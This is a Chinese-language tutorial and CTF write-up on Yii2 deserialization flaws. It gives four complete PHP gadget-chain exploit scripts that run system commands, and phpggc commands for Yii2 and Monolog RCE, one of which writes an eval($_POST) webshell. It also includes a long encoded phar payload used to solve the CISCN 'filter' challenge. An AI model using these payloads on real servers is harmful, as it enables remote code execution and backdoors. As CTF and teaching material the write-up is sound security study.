通过几道CTF题学习yii2框架
简介
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize()时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架
Yii2＜2.0.38反序列化
安装：在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值，运行 php yii serve，新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?phpnamespace app\controllers;use yii\web\Controller;
class TestController extends Controller{ public function actionTest($name){ return unserialize($name); }}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct() { // make sure cursor is closed $this->reset(); }
跟进$this->reset();
public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }
这里的$this->_dataReader可控，并调用了close()方法，那么可以找到一个类不存在close()方法，但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes) { return $this->format($method, $attributes); }
这里的$method为close，$attributes为空，继续跟进format
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
跟进getFormatter
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }
似曾相识的代码，laravel5.8某条链就出现过，这里$this->formatters可控，也就是$this->getFormatter($formatter)这这个可控，但是$arguments的值我们无法控制，值为空
到这里可以执行phpinfo了
<?phpnamespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } }}namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } }}namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b)));}
但是我们想要rce的话，还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.phppublic function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
return $this->prepareDataProvider(); }
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.phppublic function run(){ if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id);}
这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
<?phpnamespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } }}namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } }}namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } }}namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a)));}
链二
这个是yii2 2.0.37的另外一条链
起点和链一相同，是BatchQueryResult类的__destruct，然后是$this->_dataReader->close()，但是这里不找__call，我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession{...public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session{protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback可控，$this是一个对象，所以这里调phpinfo的话应该不行，不过可以续上链一的run方法（即那个无参的方法）
这里直接构造即可
<?phpnamespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } }}namespace yii\web{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback = $writeCallback; } }}namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } }}namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new yii\web\DbSession(array($c, 'run')); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a)));}
链三
我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用，后面的__call的链没有被破坏，所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct() { $this->stopProcess(); }
这里继续跟进stopProcess
public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }
这里的$this->processes可控，所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
<?phpnamespace Codeception\Extension{ class RunProcess{ private $processes = []; public function __construct($processes) { $this->processes[] = $processes; } }}namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } }}namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } }}namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a)));}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
这里$nsKey可控，跟进clearAll
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }
这里没有触发__call的地方，但是存在字符串的拼接，可以触发__toString
随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString(){ return $this->__dom__->saveXML();}
同样用他去触发__call
<?phpnamespace { class Swift_KeyCache_DiskKeyCache{ private $path; private $keys = []; public function __construct($path,$keys) { $this->path = $path; $this->keys = $keys; } }}namespace Codeception\Util{ class XmlBuilder{ protected $__dom__; public function __construct($__dom__) { $this->__dom__ = $__dom__; } }}namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } }}namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } }}namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('saveXML'=>array($c,'run'))); $a = new Codeception\Util\XmlBuilder($b); $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); print(urlencode(serialize($d)));}
phpggc
使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链，-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval，所以这里可以直接写shell，-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压，看到html\controllers\SiteController.php
class SiteController extends Controller{ public function actionAbout($message = 'Hello') { $data = base64_decode($message); unserialize($data); }
这里可以这样传参
?r=site/about&message=
拿链一打了一下，发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去，然后用蚁剑的 apache/mod 绕 disable，运行 /readflag 即可获取 flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容，或许对你有用！！
'log' => [ 'traceLevel' => YII_DEBUG ? 0 : 0, 'targets' => [ [ 'class' => 'yii\log\FileTarget', 'levels' => ['error'], 'logVars' => [], ], ], ],
看到附件的SiteController.php就改了这个地方
public function actionIndex() { $file = Yii::$app->request->get('file'); $res = file_get_contents($file); file_put_contents($file,$res); return $this->render('index'); }
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
"require": { "php": ">=5.6.0", "yiisoft/yii2": "~2.0.14", "yiisoft/yii2-bootstrap": "~2.0.0", "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19" },
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志，注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=6A=00=64=00=58=00=4A=00=79=00=5A=00=57=00=35=00=30=00=49=00=6A=00=74=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=39=00=66=00=58=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=47=00=59=00=61=00=33=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=64=00=47=00=56=00=7A=00=64=00=4A=00=41=00=61=00=47=00=73=00=75=00=53=00=31=00=47=00=68=00=54=00=49=00=2B=00=6B=00=4B=00=58=00=33=00=45=00=68=00=2B=00=4D=00=44=00=71=00=54=00=76=00=6E=00=6F=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a
保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相关实验：PHP反序列化漏洞实验 （通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
赞 (0)